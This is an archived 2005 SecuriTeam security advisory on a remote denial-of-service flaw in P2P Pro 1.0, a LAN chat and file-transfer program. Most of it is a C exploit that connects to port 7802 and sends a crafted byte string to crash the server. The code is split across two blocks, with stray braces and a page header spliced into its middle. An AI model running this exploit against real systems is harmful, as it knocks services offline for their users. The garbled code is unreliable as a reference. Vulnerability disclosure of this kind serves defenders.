

# [NT] P2P Pro Command DoS

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0018.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 09/05/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 5 Sep 2005 16:28:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

P2P Pro Command DoS

---

## SUMMARY

P2P Pro is "freeware/opensource who need have own chat system to talk on private LAN or WAN. It allows two users to chat and send files (of any size). This is a stand-alone application, meaning there are not two programs (client and server). The client and server are both built in to the same application". By sending a special command to P2P Pro server it possible for a remote attacker to cause it to crash.

## DETAILS

Vulnerable Systems:

\* P2P Pro version 1.0

Exploit:

/\*

P2P Pro Command DOS Exploit

---

Infam0us Gr0up – Securiti Research

Info: [infamous.2hell.com](http://infamous.2hell.com)

Vendor URL: <http://www.digital-revolution.org/P2PPro.html>

## Securiteam: [NT] P2P Pro Command DoS

```
*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
"\x3f\x3f\xbc\x59\x70 "
"\x32\x70\x3f\xe1 "
"\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x46\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x4f\x57\x4e\x45\x44\x2e\x74"
"\x78\x74\x2b\x5c\x3f\xa6\xeb\xa6"
"\x50\x31\x32\x33\x32\x34\x32\x2e\x6b\x62";

int main(int argc, char *argv[])
{
    WSADATA wsaData;
    WORD wVersionRequested;
    struct hostent *pTarget;
    struct sockaddr_in sock;
    char *target;
    int port,bufsize;
    SOCKET inetdos;

    if (argc < 2)
    {
        printf(" P2P Pro Command DOS Exploit \n", argv[0]);
        printf(" -----\n", argv[0]);
        printf(" Infamous Gr0up – Securiti Research\n\n", argv[0]);
        printf("[-]Usage: %s [target] [port]\n", argv[0]);
        printf("[?]Exam: %s localhost 7802\n", argv[0]);
        exit(1);
    }

    wVersionRequested = MAKEWORD(1, 1);
    if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

    target = argv[1];
    port = 7802;

    if (argc >= 3) port = atoi(argv[2]);
    bufsize = 1024;
    if (argc >= 4) bufsize = atoi(argv[3]);

    inetdos = socket(AF_INET, SOCK_STREAM, 0);
    if(inetdos==INVALID_SOCKET)
    {
        printf("Socket ERROR \n");
    }
}
```

## Securiteam: [NT] P2P Pro Command DoS

```
exit(1);
}
printf(" P2P Pro Command DOS Exploit \n", argv[0]);
printf(" -----\r\n\n", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILED\n");
exit(1);
}
printf("[OK]\n");
printf("Target listen.. \n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server SHUTDOWN!\n");
closesocket(inetdos);
WSACleanup();
return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:basher13@linuxmail.org>> eric basher.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

Securiteam: [NT] P2P Pro Command DoS

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.